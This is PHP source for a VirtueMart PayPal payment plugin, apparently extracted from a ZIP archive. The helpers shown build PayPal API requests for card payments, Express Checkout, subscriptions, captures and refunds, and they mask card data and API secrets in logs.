if (isset($data->$showOrderBEField)) {
$key = $prefix . $key;
$html .= $this->paypalPlugin->getHtmlRowBE($key, $data->$showOrderBEField);
}
}
}
return $html;
}
function onShowOrderBEPaymentByFields($payment) {
return NULL;
}
/*********************/
/* Log and Reporting */
/*********************/
public function debug($subject, $title = '', $echo = true) {
$debug = '
';
$debug .= ($title) ? '
' . $title . ':' : '';
//$debug .= '
';
$debug .= str_replace("=>", "⇒", str_replace("Array", "Array", nl2br(str_replace(" ", " ", print_r($subject, true)))));
//$debug .= '';
$debug .= '
';
if ($echo) {
echo $debug;
} else {
return $debug;
}
}
function highlight($string) {
return '' . $string . '';
}
public function debugLog($message, $title = '', $type = 'message', $echo = false, $doVmDebug=false) {
//Nerver log the full credit card number nor the CVV code.
if (is_array($message)) {
if (array_key_exists('ACCT', $message)) {
$message['ACCT'] = "**** **** **** " . substr($message['ACCT'], -4);
}
if (array_key_exists('CVV2', $message)) {
$message['CVV2'] = str_repeat('*', strlen($message['CVV2']));
}
if (array_key_exists('signature', $message)) {
$message['signature'] = '**MASKED**';
}
if (array_key_exists('api_password', $message)) {
$message['api_password'] = '**MASKED**';
}
}
if ($this->_method->debug) {
$this->debug($message, $title, true);
}
if ($echo) {
echo $message . '
';
}
$this->paypalPlugin->debugLog($message, $title, $type, $doVmDebug);
}
}
PK ?\1D D paypal/helpers/paypalapi.phpnu W+A _method->sandbox ) {
$this->api_login_id = $this->_method->sandbox_api_login_id;
$this->api_signature = $this->_method->sandbox_api_signature;
$this->api_password = $this->_method->sandbox_api_password;
} else {
$this->api_login_id = $this->_method->api_login_id;
$this->api_signature = $this->_method->api_signature;
$this->api_password = $this->_method->api_password;
}
if (empty($this->api_login_id) || empty($this->api_signature) || empty($this->api_password)) {
$text=JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
vmError($text,$text);
}
}
function initPostVariables($paypalMethod) {
$post_variables = Array();
$post_variables['METHOD'] = $paypalMethod;
//$post_variables['version'] = "106.0"; //https://developer.paypal.com/webapps/developer/docs/classic/release-notes/
$post_variables['version'] = "104.0";
$post_variables['USER'] = $this->api_login_id;
$post_variables['PWD'] = $this->api_password;
$post_variables['SIGNATURE'] = $this->api_signature;
$post_variables['BUTTONSOURCE'] = self::BNCODE;;
$post_variables['CURRENCYCODE'] = $this->currency_code_3;
if (is_array($this->order) && is_object($this->order['details']['BT'])) {
$post_variables['INVNUM'] = $this->order['details']['BT']->order_number;
} else if (is_object($this->order)) {
$post_variables['INVNUM'] = $this->order->order_number;
}
$post_variables['IPADDRESS'] = ($_SERVER['REMOTE_ADDR']=='::1') ? '127.0.0.1' : $_SERVER['REMOTE_ADDR'];
return $post_variables;
}
function addBillTo(&$post_variables) {
$addressBT = $this->order['details']['BT'];
//Bill To
$post_variables['FIRSTNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
$post_variables['LASTNAME'] = isset($addressBT->last_name) ? $this->truncate($addressBT->last_name, 50) : '';
$post_variables['STREET'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : '';
$post_variables['CITY'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : '';
$post_variables['ZIP'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : '';
$post_variables['STATE'] = isset($addressBT->virtuemart_state_id) ? ShopFunctions::getStateByID($addressBT->virtuemart_state_id, 'state_2_code') : '';
$post_variables['COUNTRYCODE'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code');
}
function addShipTo(&$post_variables) {
$addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']);
//Ship To
$post_variables['SHIPTONAME'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : '';
$post_variables['SHIPTOSTREET'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : '';
$post_variables['SHIPTOCITY'] = isset($addressST->city) ? $this->truncate($addressST->city, 40) : '';
$post_variables['SHIPTOZIP'] = isset($addressST->zip) ? $this->truncate($addressST->zip, 40) : '';
$post_variables['SHIPTOSTATE'] = isset($addressST->virtuemart_state_id) ? ShopFunctions::getStateByID($addressST->virtuemart_state_id, 'state_2_code') : '';
$post_variables['SHIPTOCOUNTRYCODE'] = ShopFunctions::getCountryByID($addressST->virtuemart_country_id, 'country_2_code');
}
function addCreditCard(&$post_variables) {
$post_variables['ACCT'] = $this->customerData->getVar('cc_number');
$post_variables['CVV2'] = $this->customerData->getVar('cc_cvv');
$post_variables['CREDITCARDTYPE'] = $this->customerData->getVar('cc_type');
$post_variables['EXPDATE'] = $this->_getFormattedDate($this->customerData->getVar('cc_expire_month'), $this->customerData->getVar('cc_expire_year'));
}
public function ManageCheckout() {
switch ($this->_method->payment_type) {
case '_xclick':
return $this->DoPayment();
case '_xclick-subscriptions':
return $this->CreateRecurringPaymentsProfile();
case '_xclick-payment-plan':
return $this->CreatePaymentPlanProfile();
}
}
public function ManageCancelOrder($payment) {
$this->RefundTransaction($payment);
/*
switch ($this->_method->payment_type) {
case '_xclick':
return $this->RefundTransaction($payment);
case '_xclick-subscriptions':
case '_xclick-payment-plan':
return $this->ManageRecurringPaymentsProfileStatus($payment);
}
*/
}
function DoPayment() {
$post_variables = $this->initPostVariables('DoDirectPayment');
$this->addBillTo($post_variables);
$this->addShipTo($post_variables);
$this->addCreditCard($post_variables);
$post_variables['PAYMENTACTION'] = $this->_method->payment_action;
$post_variables['AMT'] = $this->total;
$this->sendRequest($post_variables);
if ($this->handleResponse()) {
if ($this->_method->payment_action == 'Authorization') {
$this->response['PAYMENTSTATUS'] = 'Pending';
$this->response['PENDINGREASON'] = 'authorization';
} else {
$this->response['PAYMENTSTATUS'] = 'Completed';
$this->response['PENDINGREASON'] = 'None';
}
$this->response['paypal_response_txn_type'] = 'DoDirectPayment';
return true;
} else {
return false;
}
}
public function CreateRecurringPaymentsProfile() {
//https://developer.paypal.com/webapps/developer/docs/classic/direct-payment/ht_dp-recurringPaymentProfile-curl-etc/
//https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/CreateRecurringPaymentsProfile_API_Operation_NVP/
$post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile');
$this->addBillTo($post_variables);
$this->addShipTo($post_variables);
$this->addCreditCard($post_variables);
//$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
$post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number;
$post_variables['DESC'] = $this->getRecurringProfileDesc();
$startDate = JFactory::getDate();
$post_variables['PROFILESTARTDATE'] = $startDate->toISO8601();
$post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling';
$post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->subscription_duration);
$post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->subscription_duration);
$post_variables['TOTALBILLINGCYCLES'] = $this->_method->subscription_term;
if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) {
$post_variables['INITAMT'] = $this->cart->pricesUnformatted['salesPricePayment'];
$post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure';
$post_variables['AMT'] = $this->total - $this->cart->pricesUnformatted['salesPricePayment'];
} else {
$post_variables['AMT'] = $this->total;
}
if ($this->_method->subcription_trials) {
$post_variables['TRIALBILLINGFREQUENCY']= $this->getDurationValue($this->_method->trial1_duration);
$post_variables['TRIALBILLINGPERIOD'] = $this->getDurationUnit($this->_method->trial1_duration);
$post_variables['TRIALTOTALBILLINGCYCLES']= $this->_method->subcription_trials;
$post_variables['TRIALAMT'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0;
}
$this->sendRequest($post_variables);
return $this->handleResponse();
}
public function CreatePaymentPlanProfile() {
//Payment plans are not implemented in the API.
//A workaround is to create a subscription profile and divide the total amount by the term.
$post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile');
$this->addBillTo($post_variables);
$this->addShipTo($post_variables);
$this->addCreditCard($post_variables);
//$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
$post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number;
$post_variables['DESC'] = $this->order['details']['BT']->order_number.': '.$this->getPaymentPlanDesc();
if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) {
$initAmount = $this->cart->pricesUnformatted['salesPricePayment'];
} else {
$initAmount = 0;
}
$occurenceAmount = round(($this->total-$initAmount) / $this->_method->payment_plan_term,2);
if ($this->_method->payment_plan_defer == 2) {
$initAmount += $occurenceAmount;
$occurencesCount = $this->_method->payment_plan_term - 1;
} else {
$occurencesCount = $this->_method->payment_plan_term;
}
if ($this->_method->payment_plan_defer && $this->_method->payment_plan_defer_strtotime) {
$startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime);
} else {
$startDate = JFactory::getDate();
}
$post_variables['PROFILESTARTDATE'] = $startDate->toISO8601();
$post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling';
$post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->payment_plan_duration);
$post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->payment_plan_duration);
$post_variables['TOTALBILLINGCYCLES'] = $occurenceAmount;
if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) {
$post_variables['INITAMT'] = $initAmount;
$post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure';
}
$post_variables['AMT'] = $occurenceAmount;
$this->sendRequest($post_variables);
return $this->handleResponse();
}
function GetRecurringPaymentsProfileDetails($profileId) {
$post_variables = $this->initPostVariables('GetRecurringPaymentsProfileDetails');
$post_variables['PROFILEID'] = $profileId;
$this->sendRequest($post_variables);
return $this->handleResponse();
}
function ManageRecurringPaymentsProfileStatus($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
$post_variables = $this->initPostVariables('ManageRecurringPaymentsProfileStatus');
$post_variables['PROFILEID'] = $paypal_data->PROFILEID;
$post_variables['ACTION'] = 'Cancel';
$this->sendRequest($post_variables);
$this->handleResponse();
return $this->GetRecurringPaymentsProfileDetails($paypal_data->PROFILEID);
}
function DoCapture($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
//Only capture payment if it still pending
if (strcasecmp($paypal_data->PAYMENTSTATUS ,'Pending') !=0 && strcasecmp($paypal_data->PENDINGREASON, 'authorization') !=0) {
return false;
}
$post_variables = $this->initPostVariables('DoCapture');
//Do we need to reauthorize ?
$reauth = $this->doReauthorize($paypal_data->txn_id,$paypal_data);
if ($reauth === false) {
$post_variables['AuthorizationID'] = $paypal_data->TRANSACTIONID;
} else {
$post_variables['AuthorizationID'] = $reauth;
}
$post_variables['PAYMENTACTION'] = 'DoCapture';
$post_variables['AMT'] = $this->total;
$post_variables['COMPLETETYPE'] = 'Complete';
$this->sendRequest($post_variables);
//print_a($post_variables);
//print_a($this->response);
$success = $this->handleResponse();
if (!$success) {
$this->doVoid($payment);
}
return $success;
}
function doReauthorize($AuthorizationID,$paypal_data) {
return false;
$post_variables = $this->initPostVariables('DoReauthorization');
$post_variables['AuthorizationID'] = $AuthorizationID;
$post_variables['PAYMENTACTION'] = 'DoReauthorization';
$post_variables['AMT'] = $this->total;
$this->sendRequest($post_variables);
if ($this->handleResponse()) {
return $this->response['AUTHORIZATIONID'];
} else {
return false;
}
}
function RefundTransaction($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
if ($paypal_data->PAYMENTSTATUS == 'Completed') {
$post_variables = $this->initPostVariables('RefundTransaction');
$post_variables['REFUNDTYPE'] = 'Full';
} else if ($paypal_data->PAYMENTSTATUS == 'Pending' && $paypal_data->PENDINGREASON == 'authorization') {
$post_variables = $this->initPostVariables('DoVoid');
} else {
return false;
}
$post_variables['AuthorizationID'] = $paypal_data->TRANSACTIONID;
$this->sendRequest($post_variables);
return $this->handleResponse();
}
function doVoid($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
$post_variables = $this->initPostVariables('DoVoid');
$post_variables['AuthorizationID'] = $paypal_data->TRANSACTIONID;
$this->sendRequest($post_variables);
return $this->handleResponse();
}
function validate($enqueueMessage=true) {
if (!class_exists('Creditcard')) {
require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'creditcard.php');
}
$html = '';
$cc_valid = true;
$errormessages = array();
$cc_type = $this->customerData->getVar('cc_type');
$cc_number = $this->customerData->getVar('cc_number');
$cc_cvv = $this->customerData->getVar('cc_cvv');
$cc_expire_month = $this->customerData->getVar('cc_expire_month');
$cc_expire_year = $this->customerData->getVar('cc_expire_year');
if (!Creditcard::validate_credit_card_number($cc_type, $cc_number)) {
$errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_NUMBER_INVALID';
$cc_valid = false;
}
if ($this->_method->cvv_required or $cc_type=='Maestro') {
$required=true;
} else {
$required=false;
}
if (!Creditcard::validate_credit_card_cvv($cc_type, $cc_cvv, $required)) {
$errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_CVV_INVALID';
$cc_valid = false;
}
if (!Creditcard::validate_credit_card_date($cc_type, $cc_expire_month, $cc_expire_year)) {
$errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_DATE_INVALID';
$cc_valid = false;
}
if (!$cc_valid) {
foreach ($errormessages as $msg) {
$html .= Jtext::_($msg) . "
";
}
}
if (!$cc_valid && $enqueueMessage) {
$app = & JFactory::getApplication();
$app->enqueueMessage($html,'error');
}
$displayInfoMsg="";
if (!$cc_valid) {
$displayInfoMsg=false;
return false;
} else {
return parent::validate($displayInfoMsg);
}
}
function displayExtraPluginInfo() {
$extraInfo = '';
//if ($this->customerData->getVar('cc_number') && $this->validate()) {
if ($this->customerData->getVar('cc_number') ) {
$cc_number = "**** **** **** " . substr($this->customerData->getVar('cc_number'), -4);
$creditCardInfos = '
' . JText::_('VMPAYMENT_PAYPAL_CC_CCTYPE') . $this->customerData->getVar('cc_type') . '
';
$creditCardInfos .=JText::_('VMPAYMENT_PAYPAL_CC_CCNUM') . $cc_number . '
';
$creditCardInfos .= JText::_('VMPAYMENT_PAYPAL_CC_CVV2') . '****' . '
';
$creditCardInfos .= JText::_('VMPAYMENT_PAYPAL_CC_EXDATE') . $this->customerData->getVar('cc_expire_month') . '/' . $this->customerData->getVar('cc_expire_year');
$creditCardInfos .="";
$extraInfo .= $creditCardInfos;
} else {
$extraInfo .= '
'.JText::_('VMPAYMENT_PAYPAL_CC_ENTER_INFO').'';
}
$extraInfo .= parent::getExtraPluginInfo();
return $extraInfo;
}
protected function getDurationUnit($duration) {
$parts = explode('-',$duration);
switch ($parts[1]) {
case 'D': return 'Day';
case 'W': return 'Week';
case 'M': return 'Month';
case 'Y': return 'Year';
}
}
function getOrderBEFields() {
$showOrderBEFields = array(
'method' => 'method',
'ACK' => 'ACK',
'TXN_ID' => 'TRANSACTIONID',
'PROFILEID' => 'PROFILEID',
'MC_GROSS' => 'PAYMENTINFO_0_AMT',
'MC_FEE' => 'PAYMENTINFO_0_FEEAMT',
'TAXAMT' => 'PAYMENTINFO_0_TAXAMT',
'MC_CURRENCY' => 'PAYMENTINFO_0_CURRENCYCODE',
'PAYMENT_STATUS' => 'PAYMENTSTATUS',
'REFUND_STATUS' => 'REFUNDSTATUS',
'PENDING_REASON' => 'PENDINGREASON',
'REASONCODE' => 'PAYMENTINFO_0_REASONCODE',
'ERRORCODE' => 'PAYMENTINFO_0_ERRORCODE',
'PROTECTION_ELIGIBILITY' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITY',
'CORRELATIONID' => 'CORRELATIONID',
);
return $showOrderBEFields;
}
}
PK ?\uZ% % paypal/helpers/paypalexp.phpnu W+A _method->sandbox ) {
$this->api_login_id = $this->_method->sandbox_api_login_id;
if ($this->_method->authentication == 'signature') {
$this->api_signature = $this->_method->sandbox_api_signature;
$this->api_certificate = '';
} else {
$this->api_signature = '';
$this->api_certificate = $this->_method->sandbox_api_certificate;
}
$this->api_password = $this->_method->sandbox_api_password;
$this->merchant_email = $this->_method->sandbox_merchant_email;
} else {
$this->api_login_id = $this->_method->api_login_id;
$this->api_signature = $this->_method->api_signature;
$this->api_certificate = $this->_method->api_certificate;
$this->api_password = $this->_method->api_password;
$this->merchant_email = $this->_method->paypal_merchant_email;
}
if ((!$this->ExpCredentialsValid() OR !$this->isAacceleratedOnboardingValid())) {
$text = JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
vmError($text, $text);
}
if (empty ($this->_method->expected_maxamount)) {
$text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_EXPECTEDMAXAMOUNT'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
vmError($text, $text);
}
}
function expCredentialsValid() {
return $this->api_login_id && $this->api_password && ($this->api_signature || $this->api_certificate);
}
/**
* * Check if it is Accelerated Boarding possible for Express Checkout
* @return bool
*/
function isAacceleratedOnboarding() {
return $this->_method->accelerated_onboarding;
}
/**
* * Check if it is Accelerated Boarding possible for Express Checkout
* @return bool
*/
function isAacceleratedOnboardingValid() {
if ($this->_method->accelerated_onboarding AND empty($this->merchant_email)) {
return false;
} else {
return true;
}
}
function initPostVariables($paypalMethod) {
$post_variables = Array();
$post_variables['METHOD'] = $paypalMethod;
$post_variables['version'] = "104.0";
// 104.0 required by Paypal
//https://developer.paypal.com/webapps/developer/docs/classic/release-notes/
$post_variables['USER'] = $this->api_login_id;
$post_variables['PWD'] = $this->api_password;
$post_variables['BUTTONSOURCE'] = self::BNCODE;;
if ($this->api_signature) {
$post_variables['SIGNATURE'] = $this->api_signature;
}
$post_variables['CURRENCYCODE'] = $this->currency_code_3;
if (is_array($this->order) && is_object($this->order['details']['BT'])) {
$post_variables['INVNUM'] = $this->order['details']['BT']->order_number;
} else if (is_object($this->order)) {
$post_variables['INVNUM'] = $this->order->order_number;
}
$post_variables['IPADDRESS'] = ($_SERVER['REMOTE_ADDR'] == '::1') ? '127.0.0.1' : $_SERVER['REMOTE_ADDR'];
return $post_variables;
}
function addAcceleratedOnboarding(&$post_variables) {
if ($this->_method->accelerated_onboarding) {
$post_variables['SUBJECT'] = $this->merchant_email;
}
}
function addBillTo(&$post_variables) {
$addressBT = $this->order['details']['BT'];
//Bill To
$post_variables['FIRSTNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
$post_variables['LASTNAME'] = isset($addressBT->last_name) ? $this->truncate($addressBT->last_name, 50) : '';
$post_variables['STREET'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : '';
$post_variables['CITY'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : '';
$post_variables['ZIP'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : '';
$post_variables['STATE'] = isset($addressBT->virtuemart_state_id) ? ShopFunctions::getStateByID($addressBT->virtuemart_state_id, 'state_2_code') : '';
$post_variables['COUNTRYCODE'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code');
}
function addShipTo(&$post_variables) {
$addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']);
//Ship To
$post_variables['SHIPTONAME'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : '';
$post_variables['SHIPTOSTREET'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : '';
$post_variables['SHIPTOCITY'] = isset($addressST->city) ? $this->truncate($addressST->city, 40) : '';
$post_variables['SHIPTOZIP'] = isset($addressST->zip) ? $this->truncate($addressST->zip, 40) : '';
$post_variables['SHIPTOSTATE'] = isset($addressST->virtuemart_state_id) ? ShopFunctions::getStateByID($addressST->virtuemart_state_id, 'state_2_code') : '';
$post_variables['SHIPTOCOUNTRYCODE'] = ShopFunctions::getCountryByID($addressST->virtuemart_country_id, 'country_2_code');
}
/**
* https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/SetExpressCheckout_API_Operation_NVP/
* @param $post_variables
*/
function addPrices(&$post_variables) {
$paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency);
$i = 0;
$taxAmount = 0;
// Product prices
if ($this->cart->products) {
foreach ($this->cart->products as $key => $product) {
$post_variables["L_PAYMENTREQUEST_0_NAME" . $i] = $this->getItemName($product->product_name);
if ($product->product_sku) {
$post_variables["L_PAYMENTREQUEST_0_NUMBER" . $i] = $product->product_sku;
}
$post_variables["L_PAYMENTREQUEST_0_AMT" . $i] = $this->getProductAmount($this->cart->pricesUnformatted[$key]);
$post_variables["L_PAYMENTREQUEST_0_QTY" . $i] = $product->quantity;
$i++;
}
}
$post_variables["PAYMENTREQUEST_0_ITEMAMT"] = vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPrice'], $this->_method->payment_currency);
$salesPriceShipment = vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceShipment'], $this->_method->payment_currency);
if ($salesPriceShipment >= 0) {
$post_variables["PAYMENTREQUEST_0_SHIPPINGAMT"] = $salesPriceShipment;
} else {
$post_variables["PAYMENTREQUEST_0_SHIPDISCAMT"] = $salesPriceShipment;
}
$handling = $this->getHandlingAmount();
if (!empty($this->cart->pricesUnformatted['salesPriceCoupon'])) {
$handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceCoupon'], $this->_method->payment_currency);
}
$post_variables["PAYMENTREQUEST_0_HANDLINGAMT"] = $handling;
$post_variables['PAYMENTREQUEST_0_AMT'] = $this->total;
$post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3;
$pricesCurrency = CurrencyDisplay::getInstance($this->cart->pricesCurrency);
}
function addToken(&$post_variables) {
$post_variables['TOKEN'] = $this->customerData->getVar('token');
$post_variables['PAYERID'] = $this->customerData->getVar('payer_id');
}
/*
* languages supported according to this https://cms.paypal.com/uk/cgi-bin/?cmd=_render-content&content_ID=developer/e_howto_api_ECCustomizing
*/
function getLocaleCode() {
$jlang = JFactory::getLanguage();
$tag = $jlang->getTag();
$languageSpecific = array('da_DK', //', // – Danish (for Denmark only)
'he_IL', //', // – Hebrew (all)
'id_ID', //– Indonesian (for Indonesia only)
'ja_JP', //', // – Japanese (for Japan only)
'no_NO', //– Norwegian (for Norway only)
'pt_BR', //', // – Brazilian Portuguese (for Portugal and Brazil only)
'ru_RU', //', // – Russian (for Lithuania, Latvia, and Ukraine only)
'sv_SE', //', // – Swedish (for Sweden only)
'th_TH', //', // – Thai (for Thailand only)
'tr_TR', //- //', // – Turkish (for Turkey only))
'zh_CN', //– Simplified Chinese (for China only)
'zh_HK', //– Traditional Chinese (for Hong Kong only)
'zh_TW', // – Traditional Chinese (for Taiwan only)
);
if (in_array($tag, $languageSpecific)) {
return $tag;
}
$paypalLanguages = array('AU',
'AT', // Austria
'BE', //', Belgium
'BR', // Brazil
'CA', // – Canada
'CH', // Switzerland
'CN', // – China
'DE', // – Germany
'ES', // – Spain
'GB', // – United Kingdom
'FR', // – France
'IT', // – Italy
'NL', // – Netherlands
'PL', // – Poland
'PT', // – Portugal
'RU', // – Russia
'US', // – United States
);
$explode = explode("-", $tag);
if (isset($explode[1])) {
$country = $explode[1];
if (in_array($country, $paypalLanguages)) {
return $country;
}
}
return "GB";
}
public function getToken() {
$post_variables = $this->initPostVariables('SetExpressCheckout');
$this->addAcceleratedOnboarding($post_variables);
$this->addPrices($post_variables);
$this->setTimeOut(self::TIMEOUT_SETEXPRESSCHECKOUT);
$post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3;
$post_variables['RETURNURL'] = JURI::root() . 'index.php?option=com_virtuemart&view=cart&task=setpayment&expresscheckout=done&virtuemart_paymentmethod_id=' . $this->_method->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid'). '&lang='.JRequest::getCmd('lang','') ;
$post_variables['CANCELURL'] = JURI::root() . 'index.php?option=com_virtuemart&view=cart&expresscheckout=cancel&Itemid=' . JRequest::getInt('Itemid') . '&lang='.JRequest::getCmd('lang','') ;
//$post_variables['CANCELURL'] = substr(JURI::root(false,''),0,-1). JROUTE::_('index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&expresscheckout=cancel');
$post_variables['ADDROVERRIDE'] = $this->_method->address_override;
$post_variables['NOSHIPPING'] = $this->_method->no_shipping;
$post_variables['MAXAMT'] = $this->_method->expected_maxamount;
$post_variables['LOGOIMG'] = $this->getLogoImage();
//$this->debugLog($post_variables['LOGOIMG'], 'logoImg:', 'debug');
$post_variables['LOCALECODE'] = $this->getLocaleCode();
if ($this->_method->headerimg) {
//$post_variables['HDRIMG'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->headerimg;
}
if ($this->_method->bordercolor) {
$post_variables['CARTBORDERCOLOR'] = str_replace('#', '', strtoupper($this->_method->bordercolor));
//$post_variables['PAYFLOWCOLOR'] = 'ff0033'; //str_replace('#','',strtoupper($this->_method->bordercolor));
}
if ($this->_method->payment_type == '_xclick-subscriptions') {
$post_variables['L_BILLINGTYPE0'] = 'RecurringPayments';
$post_variables['L_BILLINGAGREEMENTDESCRIPTION0'] = $this->getRecurringProfileDesc();
} else {
$post_variables['PAYMENTREQUEST_0_PAYMENTACTION'] = $this->getPaymentAction();
// done in addPrices
// Total of order, including shipping, handling, tax, and any other billing adjustments such as a credit due.
// $post_variables['PAYMENTREQUEST_0_AMT'] = $this->total;
// $post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3;
}
$this->sendRequest($post_variables);
$valid = $this->handleResponse();
if ($valid) {
$this->customerData->setVar('token', $this->response['TOKEN']);
$this->customerData->save();
$this->redirectToPayPal();
} else {
// already done in handleResponse()
// $this->customerData->clear();
return false;
}
return true;
}
public function getExpressCheckoutDetails() {
$post_variables = $this->initPostVariables('GetExpressCheckoutDetails');
$this->addAcceleratedOnboarding($post_variables);
$this->setTimeOut(self::TIMEOUT_GETEXPRESSCHECKOUTDETAILS);
$this->addToken($post_variables);
$this->sendRequest($post_variables);
if ($this->handleResponse()) {
$this->customerData->setVar('payer_id', $this->response['PAYERID']);
$this->customerData->setVar('first_name', $this->response['FIRSTNAME']);
$this->customerData->setVar('last_name', $this->response['LASTNAME']);
$this->customerData->setVar('payer_email', $this->response['EMAIL']);
$this->customerData->setVar('paypal_response', $this->response);
$this->customerData->save();
$this->storeAddresses();
return true;
} else {
return false;
}
}
public function ManageLogin() {
}
public function ManageCheckout() {
switch ($this->_method->payment_type) {
case '_xclick':
return $this->DoPayment();
case '_xclick-subscriptions':
return $this->CreateRecurringPaymentsProfile();
case '_xclick-payment-plan':
return $this->CreatePaymentPlanProfile();
}
}
public function ManageCancelOrder($payment) {
$this->RefundTransaction($payment);
/*
switch ($this->_method->payment_type) {
case '_xclick':
return $this->RefundTransaction($payment);
case '_xclick-subscriptions':
case '_xclick-payment-plan':
return $this->ManageRecurringPaymentsProfileStatus($payment);
}
*/
}
public function DoPayment() {
static $redirect = 0;
$post_variables = $this->initPostVariables('DoExpressCheckoutPayment');
$this->addAcceleratedOnboarding($post_variables);
$this->addBillTo($post_variables);
$this->addShipTo($post_variables);
$this->addPrices($post_variables);
$this->addToken($post_variables);
$post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3;
$post_variables['PAYMENTREQUEST_0_PAYMENTACTION'] = $this->getPaymentAction();
$post_variables['PAYMENTREQUEST_0_AMT'] = $this->total;
$this->sendRequest($post_variables);
// https://developer.paypal.com/webapps/developer/docs/classic/express-checkout/ht_ec_fundingfailure10486/
$responseValid = $this->handleResponse();
if (!$responseValid) {
if ($this->response['L_ERRORCODE0'] == self::FRAUD_FAILURE_ERROR_CODE and $this->_method->payment_action == 'Sale' and $redirect <= 2) {
$redirect++;
// redirect buyer to PayPal
$this->redirectToPayPal($post_variables['TOKEN']);
}
return false;
}
return true;
}
public function CreateRecurringPaymentsProfile() {
//https://developer.paypal.com/webapps/developer/docs/classic/direct-payment/ht_dp-recurringPaymentProfile-curl-etc/
//https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/CreateRecurringPaymentsProfile_API_Operation_NVP/
$post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile');
$this->addBillTo($post_variables);
$this->addShipTo($post_variables);
$this->addToken($post_variables);
//$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
$post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number;
$post_variables['DESC'] = $this->getRecurringProfileDesc();
$startDate = JFactory::getDate();
$post_variables['PROFILESTARTDATE'] = $startDate->toISO8601();
$post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling';
$post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->subscription_duration);
$post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->subscription_duration);
$post_variables['TOTALBILLINGCYCLES'] = $this->_method->subscription_term;
if ($this->cart->pricesUnformatted['salesPricePayment']) {
$post_variables['INITAMT'] = $this->cart->pricesUnformatted['salesPricePayment'];
$post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure';
$post_variables['AMT'] = $this->total - $this->cart->pricesUnformatted['salesPricePayment'];
} else {
$post_variables['AMT'] = $this->total;
}
if ($this->_method->subcription_trials) {
